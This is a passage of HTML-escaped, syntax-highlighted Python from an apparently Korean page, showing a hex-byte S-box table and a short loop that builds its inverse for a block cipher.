class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x71&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0xD8&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x31&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x15&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;mh&quot;&gt;0x04&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0xC7&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x23&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0xC3&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x18&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x96&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x05&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x9A&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x07&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x12&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x80&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0xE2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0xEB&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x27&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0xB2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x75&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;mh&quot;&gt;0x09&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x83&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x2C&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x1A&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x1B&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x6E&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x5A&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0xA0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x52&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x3B&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0xD6&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0xB3&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x29&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0xE3&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x2F&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x84&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;mh&quot;&gt;0x53&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0xD1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x00&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0xED&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x20&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0xFC&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0xB1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x5B&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x6A&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0xCB&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0xBE&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x39&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x4A&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x4C&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x58&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0xCF&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;mh&quot;&gt;0xD0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0xEF&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0xAA&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0xFB&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x43&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x4D&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x33&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x85&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x45&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0xF9&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x02&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x7F&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x50&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x3C&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x9F&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0xA8&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;mh&quot;&gt;0x51&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0xA3&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x40&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x8F&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x92&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x9D&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x38&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0xF5&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0xBC&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0xB6&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0xDA&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x21&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x10&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0xFF&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0xF3&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0xD2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;mh&quot;&gt;0xCD&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x0C&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x13&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0xEC&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x5F&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x97&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x44&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x17&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0xC4&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0xA7&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x7E&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x3D&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x64&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x5D&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x19&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x73&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;mh&quot;&gt;0x60&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x81&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x4F&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0xDC&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x22&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x2A&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x90&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x88&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x46&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0xEE&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0xB8&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x14&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0xDE&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x5E&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x0B&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0xDB&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;mh&quot;&gt;0xE0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x32&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x3A&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x0A&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x49&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x06&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x24&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x5C&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0xC2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0xD3&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0xAC&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x62&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x91&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x95&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0xE4&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x79&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;mh&quot;&gt;0xE7&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0xC8&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x37&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x6D&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x8D&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0xD5&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x4E&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0xA9&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x6C&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x56&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0xF4&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0xEA&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x65&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x7A&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0xAE&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x08&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;mh&quot;&gt;0xBA&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x78&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x25&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x2E&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x1C&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0xA6&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0xB4&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0xC6&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0xE8&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0xDD&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x74&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x1F&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x4B&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0xBD&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x8B&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x8A&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;mh&quot;&gt;0x70&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x3E&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0xB5&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x66&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x48&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x03&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0xF6&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x0E&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x61&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x35&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x57&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0xB9&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x86&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0xC1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x1D&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x9E&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;mh&quot;&gt;0xE1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0xF8&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x98&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x11&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x69&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0xD9&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x8E&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x94&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x9B&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x1E&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x87&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0xE9&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0xCE&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x55&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x28&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0xDF&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;mh&quot;&gt;0x8C&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0xA1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x89&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x0D&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0xBF&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0xE6&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x42&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x68&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x41&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x99&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x2D&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x0F&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0xB0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x54&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0xBB&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x16&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;# InvSBox는 SBOX의 역함수
&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;INV_SBOX&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;256&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;v&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;enumerate&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;SBOX&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;):&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;INV_SBOX&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;v&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;i&lt;/span&gt;

